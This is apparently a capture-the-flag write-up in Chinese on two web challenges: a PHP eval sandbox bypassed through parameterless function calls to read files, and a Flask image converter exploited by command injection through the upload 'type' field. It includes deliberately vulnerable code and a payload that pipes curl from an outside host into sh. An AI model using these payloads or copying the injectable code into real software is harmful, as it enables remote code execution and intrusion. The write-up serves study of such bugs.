Mercy-code
if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd))
这个过滤就代表了是无参rce。
<?php
highlight_file(__FILE__);
if ($_POST['cmd']) {
$cmd = $_POST['cmd'];
if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) {
echo chr(strrev(uniqid()));
if (preg_match('/file|if|localeconv|phpversion|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|current|array|time|se|ord/i', $cmd)) {
die('What are you thinking?');
} else {
eval($cmd);
}
} else {
die('Please calm down');
}
}
scandir没被过滤,那么目录怎么表示呢,可以用chr(strrev(uniqid())),uniqid会根据键生成一个唯一id,strrev会反转,因为这个id在末尾会由字母加数字的组合,只有这样不停的访问,总有一次chr后为.
然后echo(implode(scandir(chr(strrev(uniqid())))));
查看文件。
show_source(end(scandir(chr(strrev(uniqid())))));
最后显示最后一个文件的内容。
picture convert
通过源码可知在convert
处可以执行命令,且session[‘filename’]可以通过type上传来控制。
import json
from flask import Flask
import hashlib
from flask import request,session
from flask import render_template
import os
import uuid
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(16)
Black_list = [b"metadata", b"$", b"qx", b'tmp', b'&#']
def check_data(data):
for black_key in Black_list:
if black_key in data:
return True
return False
def file_md5(s):
return hashlib.md5(s.encode()).hexdigest()
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")
@app.route('/upload', methods=['GET', 'POST'])
def upload():
type = request.form.get("type", "jpg")#接收type
file_info = request.files['file']#接收file
file_data = file_info.read()
if check_data(file_data):
return "No hacker"
f = open("./static/images/tmpimg", 'wb')
f.write(file_data)
f.close()
new_filename = str(uuid.uuid4()) + '.' + type
session["filename"] = new_filename#可以自定义一个type,如此此变量可控
return "文件上传成功,其他模块还在开发中~~~"
@app.route('/info', methods=['GET'])
def info():
json_data = {"info": os.popen("su - exif -c '/app/exiftool-12.23/exiftool /app/static/images/tmpimg'").read()}
return json.dumps(json_data)
@app.route('/convert', methods=['GET'])
def convert():
os.system(f"su - conv -c 'cd /app/static/images/ && convert tmpimg {session['filename']}'")
json_data = {"path": session['filename']}
return json.dumps(json_data)
app.run(host="0.0.0.0", port=8888)
---------------------------424484802527117248881458744632
Content-Disposition: form-data; name="type";
Content-Type: image/jpeg
'|| curl http://shell.com:port/ |sh ||'
-----------------------------424484802527117248881458744632
Content-Disposition: form-data; name="file"; filename="2.jpg"
Content-Type: image/jpeg
-----------------------------424484802527117248881458744632--